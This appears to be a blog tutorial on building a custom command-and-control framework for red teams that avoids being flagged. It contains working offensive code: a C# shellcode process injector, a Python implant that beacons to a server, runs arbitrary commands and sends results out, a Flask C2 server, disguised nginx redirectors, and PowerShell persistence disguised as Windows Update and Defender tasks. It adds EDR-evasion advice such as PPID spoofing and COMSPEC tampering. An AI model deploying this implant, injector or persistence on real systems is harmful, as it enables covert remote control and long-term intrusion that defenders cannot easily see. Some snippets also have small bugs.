Simulating Real Adversaries: Building a Custom C2 Without Getting Flagged
The landscape of cybersecurity is in a constant state of flux, with defenders and attackers locked in a perpetual arms race. As detection mechanisms become more sophisticated, red teams and security researchers must adapt their tools and techniques to accurately simulate the tactics of real-world adversaries. While commercial command-and-control (C2) frameworks like Cobalt Strike and Sliver offer powerful capabilities, their signatures are often well-known to modern security solutions. This has led to a growing trend of developing custom C2 frameworks to evade detection and provide greater operational flexibility.
This article provides a comprehensive guide to building a custom C2 infrastructure for authorized red team exercises. We will explore the fundamental concepts of C2, delve into advanced evasion techniques, and discuss the operational security (OPSEC) considerations necessary to conduct a successful and professional engagement. By understanding how to build and operate a custom C2, red teams can better simulate advanced threats, and blue teams can gain valuable insights into how to defend against them.
Understanding C2 Infrastructure Fundamentals
At its core, a command-and-control (C2) infrastructure is the backbone of any red team operation. It is the set of tools and techniques that allow an operator to maintain communication with a compromised system, or "implant," within a target network. This communication channel is used to send commands, exfiltrate data, and pivot to other systems within the network.
A typical C2 communication chain consists of several layers, each with a specific purpose:
| Layer | Description | Purpose |
|---|---|---|
| Implant/Agent | The malicious code running on the compromised system. | Executes commands and maintains connectivity |
| First-hop Infrastructure | Redirectors exposed to the internet acting as proxy | Shields C2 server from direct exposure |
| Mid-tier Infrastructure | Optional layer for filtering, authentication, or obfuscation | Additional security and traffic analysis |
| Team Server | The actual C2 server where operators control implants | Central command and control hub |
Directly connecting an implant to a C2 server is a significant operational risk. If a defender identifies the IP address or domain of the C2 server, they can block it, effectively cutting off communication with all implants. By using a layered infrastructure with redirectors, the C2 server is shielded from direct exposure. If a redirector is discovered and blocked, it can be easily replaced without compromising the entire operation.
C2 Architecture Diagram
The following diagram illustrates the typical C2 infrastructure architecture with multiple layers of separation:
Commercial vs. Custom C2 Frameworks
While commercial and open-source C2 frameworks offer a wide range of features and are easy to deploy, their popularity is a double-edged sword. Security vendors and threat intelligence companies actively hunt for and create signatures for these frameworks. This means that using an off-the-shelf C2 may lead to rapid detection in a mature security environment.
Building a custom C2 framework offers several distinct advantages:
- Evasion: A custom C2 will not have pre-existing signatures, making it significantly harder to detect through signature-based mechanisms.
- Flexibility: You have complete control over the features and functionality, allowing you to tailor the C2 to the specific needs of an engagement.
- Learning: The process of building a C2 provides invaluable insights into how they operate, which is beneficial for both red and blue teamers.
The C2 Architecture: Building Blocks
A custom C2 framework is comprised of several key components that work together to provide a stable and reliable communication channel.
Core Components
The agent or implant is the code that runs on the compromised system. It is responsible for establishing a connection to the C2 server, receiving commands, executing them, and returning the results. A well-designed agent should be lightweight, modular, and difficult to detect. The agent must be able to handle network interruptions gracefully and implement reliable callback mechanisms to ensure persistent communication.
The backend API is the heart of the C2 server. It handles agent registration, session management, and the serving of commands. It also provides an interface for the operator to interact with the agents. The backend should be designed to scale horizontally and handle multiple concurrent agent connections without performance degradation.
The frontend interface is the user interface that the operator uses to control the agents. This can be a simple command-line interface (CLI) or a more sophisticated web-based graphical user interface (GUI). The frontend should provide real-time visibility into agent status, command execution, and result collection.
The command serving mechanism is the mechanism by which agents receive commands and send results. This is typically done through a series of HTTP requests and responses, but other protocols such as DNS can also be used. The command serving mechanism must be designed to be resilient to network failures and to provide reliable command delivery.
Communication Patterns
The communication between the agent and the C2 server is a critical aspect of the C2 architecture. The choice of communication pattern can have a significant impact on the stealth and resilience of the C2.
HTTP/HTTPS-based communication is the most common communication pattern, as HTTP and HTTPS traffic is ubiquitous in most networks and is less likely to be blocked. By mimicking legitimate web traffic, C2 communication can blend in with the noise of normal network activity. HTTPS provides encryption that prevents defenders from inspecting the content of the traffic.
DNS-based communication is another protocol that is rarely blocked, making it an attractive option for C2 communication. DNS tunneling can be used to exfiltrate data and send commands, but it is often slower and more complex to implement than HTTP-based communication. DNS can also be used for out-of-band communication in environments where HTTP is heavily monitored.
All C2 communication should be encrypted to prevent defenders from inspecting the content of the traffic. This can be achieved using SSL/TLS for HTTPS communication, or by implementing a custom encryption scheme. The encryption should be transparent to the agent and should not introduce significant overhead.
The timing of C2 callbacks, or "beacons," is a critical factor in evading detection. A regular, predictable beaconing pattern is a strong indicator of C2 activity. To avoid this, random jitter should be introduced to the beacon interval to make the traffic appear more organic.
Communication Flow Diagram
The following sequence diagram illustrates the typical C2 communication flow between agent and server:
Evasion Techniques: Network Level
Network-level evasion techniques are designed to make C2 traffic blend in with legitimate network activity, making it difficult for defenders to identify and block. These techniques focus on manipulating the appearance of network traffic to mimic benign protocols and applications.
Malleable Profiles and Traffic Customization
Malleable C2 profiles are a powerful feature of modern C2 frameworks that allow operators to customize the appearance of their C2 traffic. By modifying a simple configuration file, operators can change everything from the HTTP headers to the in-memory characteristics of the implant.
Key aspects of traffic customization include:
HTTP Headers: Modifying HTTP headers such as User-Agent, Accept, and Content-Type to match those of legitimate applications. For example, a C2 agent could spoof the User-Agent of a Windows Update client to blend in with legitimate system traffic.
Data Transforms: Encoding or encrypting C2 data using transforms like Base64, XOR, or custom algorithms to obfuscate the payload. Multiple transforms can be layered together for added obfuscation. For example, a payload could be first XOR-encoded, then Base64-encoded, creating multiple layers of obfuscation.
SSL Certificates: Using valid SSL certificates from services like Let's Encrypt to make HTTPS traffic appear legitimate. The SSL certificate should match the domain name being used for C2 communication.
URI Paths: Customizing the URI paths used for C2 communication to mimic the structure of a legitimate web application. For example, instead of using /beacon, a C2 agent could use /api/v1/users to blend in with legitimate API traffic.
Malleable Profile Configuration Example
# Malleable C2 Profile - Windows Update Mimic
http-get {
set uri "/api/v1/update";
client {
header "User-Agent" "Windows-Update-Agent/10.0";
header "Accept" "application/json";
header "Accept-Language" "en-US";
metadata {
base64;
parameter "id";
}
}
server {
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/report";
client {
header "User-Agent" "Windows-Update-Agent/10.0";
header "Content-Type" "application/json";
id {
base64;
parameter "session";
}
output {
base64;
print;
}
}
server {
header "Server" "Microsoft-IIS/10.0";
output {
base64;
print;
}
}
}
C2 Redirectors: The First Line of Defense
C2 redirectors are a critical component of a resilient C2 infrastructure. They act as a proxy between the implant and the C2 server, shielding the C2 server from direct exposure to the internet. If a redirector is discovered and blocked, it can be easily replaced without compromising the entire operation.
HTTP/HTTPS Redirectors with Nginx
Nginx is a popular choice for an HTTP/HTTPS redirector due to its performance and flexibility. The following configuration demonstrates how to set up a simple redirector that forwards traffic to a C2 server:
server {
listen 80;
server_name your-c2-domain.com;
# Redirect all HTTP traffic to HTTPS
return 301 https://$server_name$request_uri;
}
server {
listen 443 ssl;
server_name your-c2-domain.com;
ssl_certificate /etc/letsencrypt/live/your-c2-domain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/your-c2-domain.com/privkey.pem;
# Only forward specific URIs to C2 server
location /api/v1/ {
proxy_pass https://your-c2-server-ip:443/api/;
proxy_set_header Host your-c2-server-ip;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_ssl_verify off;
}
# Serve legitimate content for all other requests
location / {
root /var/www/your-c2-domain.com;
index index.html;
}
}
This configuration only forwards specific URIs to the C2 server while serving legitimate content for all other requests. This approach makes the redirector appear to be a legitimate web server to anyone who inspects it.
Advanced Nginx Redirector with Filtering
For more sophisticated redirector setups, implement request filtering and rate limiting:
# Rate limiting
limit_req_zone $binary_remote_addr zone=c2_limit:10m rate=10r/s;
server {
listen 443 ssl http2;
server_name your-c2-domain.com;
ssl_certificate /etc/letsencrypt/live/your-c2-domain.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/your-c2-domain.com/privkey.pem;
# Security Headers
add_header Strict-Transport-Security "max-age=31536000" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
# Only allow specific User-Agents
if ($http_user_agent !~ (Mozilla|Windows|Linux|Macintosh)) {
return 403;
}
# Rate limiting
limit_req zone=c2_limit burst=20 nodelay;
# C2 API endpoints
location /api/v1/ {
proxy_pass https://your-c2-server-ip:443/api/;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
# Serve legitimate content
location / {
root /var/www/your-c2-domain.com;
index index.html;
}
}
Domain and Certificate Strategy
The choice of domain and SSL certificate can have a significant impact on the stealth of a C2 infrastructure. A suspicious-looking domain or a self-signed SSL certificate can be a dead giveaway to a defender.
When selecting a domain, choose one that looks legitimate and is relevant to the target organization. Aged domains with a good reputation are ideal, as they are less likely to be flagged by security tools. Newly registered domains are often scrutinized more heavily. The domain should also have a believable purpose that aligns with the target organization's business.
Always use valid SSL certificates from a trusted certificate authority. Let's Encrypt provides free SSL certificates that are easy to obtain and renew. The SSL certificate should match the domain name being used for C2 communication to avoid certificate validation errors.
Host legitimate content on the C2 domain to make it appear more credible. This can be a simple blog, a company website, or a marketing page. The content should be relevant to the domain name and should be updated periodically to appear active and legitimate.
Evasion Techniques: Endpoint Level
Endpoint-level evasion techniques are designed to prevent the C2 agent from being detected by endpoint security solutions such as antivirus (AV) and endpoint detection and response (EDR) products. These techniques focus on manipulating the behavior of the agent to avoid common detection signatures and heuristics.
In-Memory Obfuscation
Modern EDR solutions have the ability to scan the memory of running processes for malicious code. To evade this, the C2 agent should be obfuscated in memory to make it difficult to detect.
Memory segments with read, write, and execute (RWX) permissions are a strong indicator of malicious code. The C2 agent should avoid allocating memory with these permissions whenever possible. Instead, memory should be allocated with read and write permissions, and execute permissions should only be granted when the code is about to be executed.
Process injection involves injecting the C2 agent into a legitimate process to hide its presence on the system. However, the process of injection itself can be detected, so it is important to use stealthy injection techniques. Common injection techniques include DLL injection, code cave injection, and process hollowing.
The C2 agent can be encrypted or encoded in memory to prevent it from being detected by memory scanning. The agent can then be decrypted or decoded just before it is executed. This approach is particularly effective against signature-based memory scanning tools.
Process Injection Example (C#)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
public class ProcessInjection
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
uint dwDesiredAccess,
bool bInheritHandle,
uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
private const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
private const uint MEM_COMMIT = 0x1000;
private const uint PAGE_EXECUTE_READWRITE = 0x40;
public static void InjectShellcode(uint targetPid, byte[] shellcode)
{
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
if (hProcess == IntPtr.Zero)
{
Console.WriteLine("Failed to open process");
return;
}
IntPtr allocatedMemory = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (allocatedMemory == IntPtr.Zero)
{
Console.WriteLine("Failed to allocate memory");
return;
}
if (!WriteProcessMemory(
hProcess,
allocatedMemory,
shellcode,
(uint)shellcode.Length,
out UIntPtr bytesWritten))
{
Console.WriteLine("Failed to write memory");
return;
}
uint threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
0,
allocatedMemory,
IntPtr.Zero,
0,
out threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("Failed to create remote thread");
return;
}
Console.WriteLine($"Successfully injected shellcode into process {targetPid}");
}
}
Process Execution and Spawning
The way in which the C2 agent executes commands and spawns new processes can also be a source of detection. Many EDR solutions monitor for suspicious process execution patterns, such as a Word document spawning a PowerShell process.
The use of cmd.exe and powershell.exe is often a strong indicator of malicious activity. The C2 agent should avoid using these processes whenever possible and instead rely on direct API calls. For example, instead of spawning cmd.exe to execute a command, the agent could use the CreateProcessW API to directly execute the command.
The CreateProcess API can be used to spawn new processes with a great deal of control. The parent process of the new process can be spoofed to make it appear as if it was spawned by a legitimate process. This technique is known as parent process ID (PPID) spoofing and can help to evade detection by process monitoring tools.
Beacon Behavior and Timing
The timing and behavior of the C2 beacon can also be used to detect the presence of a C2 agent. A regular, predictable beaconing pattern is a strong indicator of C2 activity.
To avoid detection, random jitter should be introduced to the beacon interval to make the traffic appear more organic. The jitter should be significant enough to prevent pattern recognition but not so large that it introduces unacceptable delays in command execution. For example, a beacon interval of 60 seconds with jitter of ±30 seconds would result in beacon intervals ranging from 30 to 90 seconds.
Beacon Timing Implementation
import time
import random
class BeaconScheduler:
def __init__(self, base_interval=60, jitter_percent=30, max_backoff=3600):
self.base_interval = base_interval
self.jitter_percent = jitter_percent
self.max_backoff = max_backoff
self.failed_attempts = 0
def calculate_interval(self):
"""Calculate beacon interval with jitter"""
jitter_amount = self.base_interval * (self.jitter_percent / 100)
interval = self.base_interval + random.uniform(-jitter_amount, jitter_amount)
# Exponential backoff on failures
if self.failed_attempts > 0:
backoff = min(self.max_backoff, self.base_interval * (2 ** self.failed_attempts))
interval += backoff
return max(interval, 1)
def on_success(self):
"""Reset failure counter on successful beacon"""
self.failed_attempts = 0
def on_failure(self):
"""Increment failure counter"""
self.failed_attempts += 1
OPSEC Considerations for Operators
Operational Security (OPSEC) is a critical aspect of any red team engagement. It is the process of identifying and protecting sensitive information that could be used by an adversary to detect and respond to your activities. When operating a C2 infrastructure, there are a number of OPSEC considerations that must be taken into account to avoid detection and maintain a low profile.
Command Classification and Risk Assessment
Not all C2 commands are created equal. Some commands are inherently riskier than others and are more likely to be detected by security solutions. It is important to understand the risks associated with each command and to use the safest command possible to achieve your objective.
| Command Type | Examples | Risk Level | Notes |
|---|---|---|---|
| API-only | cd, ls, pwd, ps, download, upload | Very Low | Direct API calls, no process spawning |
| Post-exploitation | mimikatz, hashdump, dcsync | High | Spawns processes, injects code |
| Process Execution | execute, runas, runu | Medium | Spawns new processes |
| Shell Commands | shell, powershell | High | Uses cmd.exe or powershell.exe |
API-only commands are the safest commands to use, as they rely on direct API calls and do not spawn new processes or inject into remote processes. Examples include cd, ls, pwd, ps, download, and upload. These commands should be preferred whenever possible.
Post-exploitation jobs are riskier, as they often spawn a new process and inject a capability into it. Examples include mimikatz, hashdump, and dcsync. These commands should be used with caution and only when necessary. When using post-exploitation jobs, be aware that they will generate event logs and may trigger EDR alerts.
Commands that spawn processes such as execute, runas, and runu spawn new processes and can be detected by process monitoring. The ppid command can be used to spoof the parent process of the new process to make it appear more legitimate.
Commands that rely on cmd.exe or powershell.exe are strong indicators of malicious activity and should be avoided whenever possible. There are often safer alternatives to these commands that use direct API calls.
Operational Security Best Practices
In addition to understanding the risks associated with each command, there are a number of general OPSEC best practices that should be followed when operating a C2 infrastructure.
The getsystem command is a well-known and easily detectable pattern. There are other, more stealthy ways to obtain SYSTEM privileges. If you need SYSTEM privileges, consider alternative methods such as exploiting a known vulnerability or using token impersonation.
The spawnto command can be used to change the process that is spawned for post-exploitation jobs. The default is rundll32.exe, which is a common indicator of compromise. By changing the spawn process to a more legitimate-looking process, you can reduce the likelihood of detection.
The ppid command can be used to change the parent process of spawned jobs to make them appear more legitimate. For example, you could spoof the parent process of a spawned job to appear as if it was spawned by explorer.exe rather than cmd.exe.
The COMSPEC environment variable can be modified to point to a different location for cmd.exe, which can help to evade detection. By modifying this variable, you can force the system to use a different command interpreter that may be less monitored.
Avoid repeated command patterns. The repeated use of the same commands or command patterns can be a strong indicator of C2 activity. It is important to vary your commands and to avoid predictable patterns. For example, instead of always using the same command to enumerate users, you could use different commands that achieve the same result.
Building a Custom C2 Framework
Building a custom C2 framework from scratch is a significant undertaking, but it provides the ultimate level of flexibility and evasion. This section will walk through the process of designing and building a simple, yet effective, C2 framework using Python.
Encrypted C2 Agent with Advanced Features
import requests
import time
import subprocess
import base64
import socket
import getpass
import random
import json
from cryptography.fernet import Fernet
import hashlib
class C2Agent:
def __init__(self, c2_url, encryption_key):
self.c2_url = c2_url
self.agent_id = self._generate_agent_id()
self.cipher = Fernet(encryption_key)
self.beacon_interval = 60
self.jitter = 0.3
self.session_id = None
def _generate_agent_id(self):
"""Generate a unique agent ID based on system information"""
hostname = socket.gethostname()
username = getpass.getuser()
machine_id = hashlib.md5(f"{hostname}{username}".encode()).hexdigest()[:16]
return f"agent-{machine_id}"
def _encrypt_data(self, data):
"""Encrypt data using Fernet symmetric encryption"""
json_data = json.dumps(data)
encrypted = self.cipher.encrypt(json_data.encode())
return base64.b64encode(encrypted).decode('utf-8')
def _decrypt_data(self, encrypted_data):
"""Decrypt data received from C2 server"""
try:
decoded = base64.b64decode(encrypted_data)
decrypted = self.cipher.decrypt(decoded)
return json.loads(decrypted.decode('utf-8'))
except Exception as e:
return None
def register(self):
"""Register agent with C2 server"""
try:
payload = {
'agent_id': self.agent_id,
'hostname': socket.gethostname(),
'username': getpass.getuser(),
'timestamp': time.time()
}
encrypted_payload = self._encrypt_data(payload)
response = requests.post(
f'{self.c2_url}/register',
json={'data': encrypted_payload},
verify=False,
timeout=10
)
if response.status_code == 200:
result = response.json()
self.session_id = result.get('session_id')
return True
except Exception as e:
pass
return False
def get_tasks(self):
"""Retrieve tasks from C2 server"""
try:
headers = {'X-Session-ID': self.session_id} if self.session_id else {}
response = requests.get(
f'{self.c2_url}/tasks/{self.agent_id}',
headers=headers,
verify=False,
timeout=10
)
if response.status_code == 200:
result = response.json()
encrypted_tasks = result.get('data')
if encrypted_tasks:
tasks = self._decrypt_data(encrypted_tasks)
return tasks.get('tasks', []) if tasks else []
except Exception as e:
pass
return []
def execute_command(self, command):
"""Execute a command and return output"""
try:
result = subprocess.check_output(
command,
shell=True,
stderr=subprocess.STDOUT,
timeout=30
)
return base64.b64encode(result).decode('utf-8')
except subprocess.TimeoutExpired:
return base64.b64encode(b"Command timed out").decode('utf-8')
except Exception as e:
return base64.b64encode(str(e).encode('utf-8')).decode('utf-8')
def send_result(self, task_id, result):
"""Send command result back to C2 server"""
try:
payload = {
'task_id': task_id,
'result': result,
'agent_id': self.agent_id,
'timestamp': time.time()
}
encrypted_payload = self._encrypt_data(payload)
headers = {'X-Session-ID': self.session_id} if self.session_id else {}
response = requests.post(
f'{self.c2_url}/results/{self.agent_id}',
json={'data': encrypted_payload},
headers=headers,
verify=False,
timeout=10
)
return response.status_code == 200
except Exception as e:
pass
return False
def calculate_beacon_interval(self):
"""Calculate beacon interval with jitter"""
jitter_amount = self.base_interval * self.jitter
return self.base_interval + random.uniform(-jitter_amount, jitter_amount)
def run(self):
"""Main agent loop"""
if not self.register():
return
while True:
try:
tasks = self.get_tasks()
if tasks:
for task in tasks:
task_id = task.get('task_id')
command = task.get('command')
if command:
result = self.execute_command(command)
self.send_result(task_id, result)
sleep_time = self.calculate_beacon_interval()
time.sleep(sleep_time)
except KeyboardInterrupt:
break
except Exception as e:
time.sleep(self.calculate_beacon_interval())
if __name__ == '__main__':
ENCRYPTION_KEY = b'your-base64-encoded-fernet-key-here'
C2_URL = 'https://your-c2-server-ip:5000'
agent = C2Agent(C2_URL, ENCRYPTION_KEY)
agent.run()
Advanced C2 Server with Database Backend
from flask import Flask, request, jsonify
from flask_sqlalchemy import SQLAlchemy
from datetime import datetime
import uuid
import json
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///c2.db'
db = SQLAlchemy(app)
# Database Models
class Agent(db.Model):
id = db.Column(db.Integer, primary_key=True)
agent_id = db.Column(db.String(50), unique=True, nullable=False)
session_id = db.Column(db.String(50), unique=True)
hostname = db.Column(db.String(100))
username = db.Column(db.String(100))
registered_at = db.Column(db.DateTime, default=datetime.utcnow)
last_seen = db.Column(db.DateTime, default=datetime.utcnow)
status = db.Column(db.String(20), default='active')
tasks = db.relationship('Task', backref='agent', lazy=True)
results = db.relationship('Result', backref='agent', lazy=True)
class Task(db.Model):
id = db.Column(db.Integer, primary_key=True)
task_id = db.Column(db.String(50), unique=True)
agent_id = db.Column(db.Integer, db.ForeignKey('agent.id'), nullable=False)
command = db.Column(db.Text, nullable=False)
created_at = db.Column(db.DateTime, default=datetime.utcnow)
executed = db.Column(db.Boolean, default=False)
class Result(db.Model):
id = db.Column(db.Integer, primary_key=True)
task_id = db.Column(db.String(50))
agent_id = db.Column(db.Integer, db.ForeignKey('agent.id'), nullable=False)
result = db.Column(db.Text)
received_at = db.Column(db.DateTime, default=datetime.utcnow)
# Routes
@app.route('/register', methods=['POST'])
def register_agent():
try:
data = request.json.get('data')
agent_id = data.get('agent_id')
hostname = data.get('hostname')
username = data.get('username')
existing_agent = Agent.query.filter_by(agent_id=agent_id).first()
if existing_agent:
existing_agent.last_seen = datetime.utcnow()
existing_agent.status = 'active'
else:
session_id = str(uuid.uuid4())
new_agent = Agent(
agent_id=agent_id,
session_id=session_id,
hostname=hostname,
username=username
)
db.session.add(new_agent)
db.session.commit()
return jsonify({'status': 'success', 'session_id': existing_agent.session_id if existing_agent else session_id})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/tasks/', methods=['GET'])
def get_tasks(agent_id):
try:
agent = Agent.query.filter_by(agent_id=agent_id).first()
if not agent:
return jsonify({'data': None}), 404
pending_tasks = Task.query.filter_by(agent_id=agent.id, executed=False).all()
tasks_list = []
for task in pending_tasks:
tasks_list.append({
'task_id': task.task_id,
'command': task.command
})
task.executed = True
db.session.commit()
response_data = {'tasks': tasks_list}
return jsonify({'data': json.dumps(response_data)})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/results/', methods=['POST'])
def post_results(agent_id):
try:
data = request.json.get('data')
task_id = data.get('task_id')
result = data.get('result')
agent = Agent.query.filter_by(agent_id=agent_id).first()
if not agent:
return jsonify({'status': 'error', 'message': 'Agent not found'}), 404
agent.last_seen = datetime.utcnow()
result_obj = Result(
task_id=task_id,
agent_id=agent.id,
result=result
)
db.session.add(result_obj)
db.session.commit()
return jsonify({'status': 'success'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
@app.route('/agents//command', methods=['POST'])
def send_command(agent_id):
try:
agent = Agent.query.filter_by(agent_id=agent_id).first()
if not agent:
return jsonify({'status': 'error', 'message': 'Agent not found'}), 404
command = request.json.get('command')
task_id = str(uuid.uuid4())
task = Task(
task_id=task_id,
agent_id=agent.id,
command=command
)
db.session.add(task)
db.session.commit()
return jsonify({'status': 'success', 'task_id': task_id})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', port=5000, ssl_context='adhoc')
Persistence Mechanisms
Persistence is the set of techniques that adversaries use to maintain access to a compromised system across restarts, changed credentials, and other interruptions. For a C2 implant, persistence ensures that it can survive a reboot and re-establish a connection to the C2 server. This is a critical aspect of any red team operation, as it allows the operator to maintain a long-term foothold in the target environment.
Windows Persistence Techniques
Windows provides a number of legitimate mechanisms that can be abused by adversaries to achieve persistence. Some of the most common techniques include:
Registry Run Keys are stored in the Windows Registry and are used to automatically start programs at boot or logon. By adding an entry to one of these keys, an adversary can ensure that their implant is executed every time the system is started. The most common run keys are HKCU\Software\Microsoft\Windows\CurrentVersion\Run (per-user) and HKLM\Software\Microsoft\Windows\CurrentVersion\Run (system-wide).
Scheduled Tasks can be used to schedule programs to run at specific times or in response to specific events. An adversary can create a scheduled task to run their implant at regular intervals or when a specific trigger is met. Scheduled tasks are particularly useful because they can run as SYSTEM and can survive reboots.
WMI Event Subscriptions can be used to create permanent event subscriptions that can be used to execute code in response to specific events. This is a powerful and stealthy persistence technique, as it is more difficult to detect than registry keys or scheduled tasks. WMI event subscriptions can be used to execute code when a specific event is logged, such as a user logon event.
Service Installation involves creating a new service that is configured to run the implant. This is a very reliable persistence technique, as services are designed to run in the background and are automatically started at boot. However, service creation is also very noisy and is easily detected by security solutions.
Persistence Implementation Examples
Registry Run Key Persistence (PowerShell)
# Add to HKCU (Current User)
$RegPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$ScriptPath = "C:\ProgramData\WindowsUpdate\update.ps1"
New-ItemProperty -Path $RegPath -Name "WindowsUpdate" `
-Value "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File $ScriptPath" `
-Force
# Add to HKLM (System-wide, requires admin)
$RegPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
New-ItemProperty -Path $RegPath -Name "WindowsDefender" `
-Value "powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File $ScriptPath" `
-Force
Scheduled Task Persistence (PowerShell)
$TaskName = "WindowsDefenderUpdate"
$TaskDescription = "Automatic Windows Defender signature update"
$Action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\ProgramData\WindowsUpdate\update.ps1"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger `
-Principal $Principal -Settings $Settings -Description $TaskDescription -Force
Detection Evasion in Practice
While the techniques discussed above provide a foundation for evading detection, real-world evasion requires a deep understanding of how defenders detect C2 infrastructure and implants.
Detection Evasion Checklist
| Technique | Implementation | Detection Risk | Mitigation |
|---|---|---|---|
| Malleable Profiles | HTTP Header Spoofing | Low | Requires custom C2 framework |
| Data Transforms | Base64 + XOR Encoding | Low | Multiple layers increase complexity |
| SSL Certificates | Let's Encrypt Valid Cert | Very Low | Must match domain name |
| Redirectors | Nginx/Apache Proxy | Very Low | Compartmentalizes infrastructure |
| Process Injection | Remote Thread Injection | Medium | Use stealthy injection techniques |
| Memory Obfuscation | In-memory Encryption | Low | Requires decryption before execution |
| Beacon Jitter | Random Interval ±30% | Low | Prevents pattern recognition |
| PPID Spoofing | Parent Process ID Manipulation | Medium | Some EDR solutions detect this |
| Registry Cleanup | Immediate Deletion | Low | Must be done carefully |
| Event Log Clearing | Disable/Clear Logs | High | Very detectable, avoid if possible |
Conclusion
Building a custom C2 infrastructure for authorized red team exercises is a complex undertaking that requires a deep understanding of both offensive and defensive security concepts. By implementing the techniques and practices discussed in this article, red teams can build a C2 infrastructure that is difficult to detect and resilient to defensive measures.
However, it is important to remember that this knowledge should only be used for authorized red team exercises and defensive security research. The techniques discussed in this article should never be used for unauthorized access or malicious purposes. Red teams have a responsibility to conduct their exercises ethically and legally, and to provide valuable feedback to the organizations they are testing.
As the security landscape continues to evolve, the techniques used to build and operate C2 infrastructure will also continue to evolve. Red teams must stay up to date with the latest evasion techniques and defensive measures to ensure that they are providing accurate and valuable simulations of real-world threats. By understanding how to build and operate a custom C2 infrastructure, red teams can better simulate advanced threats and help organizations improve their security posture.
References
- St. Hilaire, J. (2021). C2 Evasion Techniques: Understanding Malleable C2 Profiles. Vectra AI. Retrieved from https://www.vectra.ai/blog/command-and-control-c2-evasion-techniques-part-2
- Mudge, R. (2017). OPSEC Considerations for Beacon Commands. Cobalt Strike. Retrieved from https://www.cobaltstrike.com/blog/opsec-considerations-for-beacon-commands
- xbz0n. (2025). C2 Redirectors: Advanced Infrastructure for Modern Red Team Operations. xbz0n.sh. Retrieved from https://xbz0n.sh/blog/c2-redirectors
- 0x0vid. (2024). How to Build Your Own Custom C2 Framework. Medium. Retrieved from https://medium.com/@0x0vid/how-to-build-your-own-custom-c2-framework-b33b569f0987
- Cross, M. (2025). Achieving Persistence: Covert Techniques to Keep Your Python C2 Implant Alive. Medium. Retrieved from https://medium.com/@maxwellcross/achieving-persistence-covert-techniques-to-keep-your-python-c2-implant-alive-88836164b3b2
Comments
Post a Comment